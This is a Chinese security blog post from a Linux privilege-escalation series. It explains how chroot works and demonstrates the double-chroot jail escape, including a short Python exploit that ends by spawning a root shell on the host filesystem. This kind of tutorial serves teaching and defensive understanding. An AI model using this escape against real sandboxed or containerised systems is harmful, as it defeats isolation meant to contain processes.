Linux提权系列16: [训练营]突破chroot监狱

admin 2023年6月6日01:52:22评论50 views字数 3260阅读10分52秒阅读模式

到目前为止,一直在努力通过不同的技术获得系统上的 root 用户。如果已经是 root 用户但仍然无法访问某些文件并且甚至没有 /root 目录或其他目录(如 /sys/proc)怎么办.

好吧,不要被这样的root环境所欺骗。这些类型的环境称为 chroot 监狱。这里将介绍使用二次chroot 方法突破 chrooting 监狱环境

到底什么是chroot

是否遇到过在更新内核版本时系统断电,当再次开机时,内核崩溃的情况?要解决这问题,实际上要做的是

  1. 引导 live Linux 操作系统
  2. 挂载根分区
  3. Chroot 到新分区并修复问题
  4. 重新启动系统并移除 Live OS USB

Chroot 是一个系统调用和命令行工具,它更改当前运行进程及其子进程的根目录以创建文件系统级别的隔离,不要将它与当前工作目录混淆。

Linux 操作系统中文件层次结构的顶部是根(/),无法再往上一层。因此,即使在根目录上执行 cd .. ,它也只会进入同一目录, 即使执行100次。

创建 chroot 目录,复制 chroot 环境所需文件来生成 shell 并继续执行。

# id -ur ; whoami 
0
root
# mkdir chroot
# cp -a bin/ usr/ lib/ root/ chroot/
# ls 
bin     chroot  dev     etc     home    lib     media  ... truncated
# chroot chroot/ sh
# id -ur ; whoami 
0
whoami: unknown uid 0
# ls 
bin   lib   root  usr

是否注意到,whoami 命令失败并显示消息“unknown uid 0”,这是因为whoami正在查找 /etc/passwd 文件以将 uid = 0 与用户名进行比较。故意没有复制/etc目录,以表明常规程序无法脱离 chroot 环境并读取真实的文件系统。

然而,环境变量从主机传递到 chrooted 环境

# export NAME=tbhaxor
# chroot chroot/ 
# echo $NAME
tbhaxor

所有命令都将从 chroot 继承根目录和从主机继承环境变量。如果在这里添加或修改任何环境变量,都不会影响主机shell

如果寻找 chroot 环境的真实用例,它们已经列在其维基百科页面上 – https://en.wikipedia.org/wiki/Chroot#Uses

了解进程 CWDROOT

Linux/proc 文件系统为当前运行的进程管理两个路径。

  • cwd: 进程的当前工作目录
  • root: 进程的根目录

根目录是指向实际运行程序的 Linux 文件系统的符号链接。通常,它被设置为 / 但对于 chrooted 环境,它被设置为作为第一个参数传递给 chroot 命令的目录路径。它不能直接由进程更改,但 chroot() 系统调用会执行此操作

当前工作目录是进程当前运行的目录(由根目录算起绝对路径)的符号链接。这可以通过调用 cdchdir() 系统调用轻松更改

chrooted 环境中实际展示这一点。为了演示,将在 chroot 环境中保持 cat 进程处于打开状态,将从主机文件系统查看 /proc 文件系统

# ps -eaf
PID   USER     TIME  COMMAND
    1 root      0:00 /bin/sh
   14 root      0:00 bash
   22 root      0:00 bash
   58 root      0:00 /bin/sh -i
   60 root      0:00 cat
   62 root      0:00 ps -eaf
# ls -l /proc/60/cwd
lrwxrwxrwx    1 root     root             0 Aug 22 22:12 /proc/60/cwd -> /chroot
# ls -l /proc/60/root
lrwxrwxrwx    1 root     root             0 Aug 22 22:12 /proc/60/root -> /chroot

现在在 chrooted 环境中将目录更改为“/usr/bin”并再次运行 cat 程序

# ps -eaf
PID   USER     TIME  COMMAND
    1 root      0:00 /bin/sh
   14 root      0:00 bash
   22 root      0:00 bash
   58 root      0:00 /bin/sh -i
   66 root      0:00 cat
   67 root      0:00 ps -eaf
# ls -l /proc/66/root
lrwxrwxrwx    1 root     root             0 Aug 22 22:13 /proc/66/root -> /chroot
# ls -l /proc/66/cwd
lrwxrwxrwx    1 root     root             0 Aug 22 22:13 /proc/66/cwd -> /chroot/usr/bin

可见,cwd 已更改但附加到根目录。显然,在主机文件系统中,它将从 / 开始,而不是在这种情况下像 /chroot 这样的任何其他文件夹

了解 Chroot 局限

当您在目录A中执行第一个 chroot 时,它会生成一个具有 root 用户权限的 shell。对于操作系统,它将在目录A中运行 shell,但对于 chrooted,它将在根目录中运行

/ # chroot  chroot/
/ # ls -l
total 16
drwxr-xr-x    2 0        0             4096 Aug  6 21:29 bin
drwxr-xr-x    7 0        0             4096 Aug  6 21:29 lib
dr-xr-xr-x  428 0        0                0 Aug 22 22:38 proc
drwx------    2 0        0             4096 Aug 22 22:38 root
drwxr-xr-x    8 0        0             4096 Aug  6 21:29 usr
/ # ls -l /proc/self/cwd
lrwxrwxrwx    1 0        0                0 Aug 22 22:39 /proc/self/cwd -> /
/ # ls -l /proc/self/root
lrwxrwxrwx    1 0        0                0 Aug 22 22:39 /proc/self/root -> /

在上面的示例中,使用了特权 docker 容器将 /proc 从主机绑定到 chroot 环境中的 /proc,这将是主机文件系统上的 /chroot/proc

现在 chroot 的局限来了。当以 root 用户运行时,恶意用户可以执行 二次chroot 并且不让内核更改当前工作目录,这样就会有一些对 chrooting 环境外部的引用,在二次chroot之外执行 chdir("..") 将遍历它到主机文件系统根目录。现在执行 chroot(".") 它将采用来自 cwd 而不是根路径。

所以要脱离 chroot 环境,需要 2 个基本要求

  • 特权shell
  • 任何调用 3 个系统调用的程序
  • mkdir
  • chroot
  • chdir

看看实际效果。运行以下脚本并在此过程中检查 cwdroot

import os

print("PID", os.getpid())
if not os.path.exists("chroot"):
os.mkdir("chroot")
os.chroot("chroot")
# almost every exploit will have 1000 iteractions
# since now you know the working, let's use 1
os.chdir("..")
# prevent the python from exiting
input("Press enter to exit")

运行利用脚本读取input函数后,再运行一个shell,找到python进程的cwdroot,会发现如下

/ # ps -eaf
PID   USER     TIME  COMMAND
    1 root      0:00 /bin/sh
   51 root      0:00 bash
   75 root      0:00 /bin/sh -i
   78 root      0:00 python exploit.py
   81 root      0:00 sh
   84 root      0:00 ps -eaf
/ # ls -l /proc/78/cwd
lrwxrwxrwx    1 root     root             0 Aug 22 23:16 /proc/78/cwd -> /
/ # ls -l /proc/78/root
lrwxrwxrwx    1 root     root             0 Aug 22 23:16 /proc/78/root -> /chroot/chroot

要真正突破,需要添加以下代码行而不是上面代码中的 input()

os.chroot(".")
os.system("/bin/sh")

下图是执行流程,其中包含突破的执行流程

Linux提权系列16: [训练营]突破chroot监狱

原文始发于微信公众号(奶牛安全):Linux提权系列16: [训练营]突破chroot监狱

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年6月6日01:52:22
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Linux提权系列16: [训练营]突破chroot监狱https://cn-sec.com/archives/1663751.html

发表评论

匿名网友 填写信息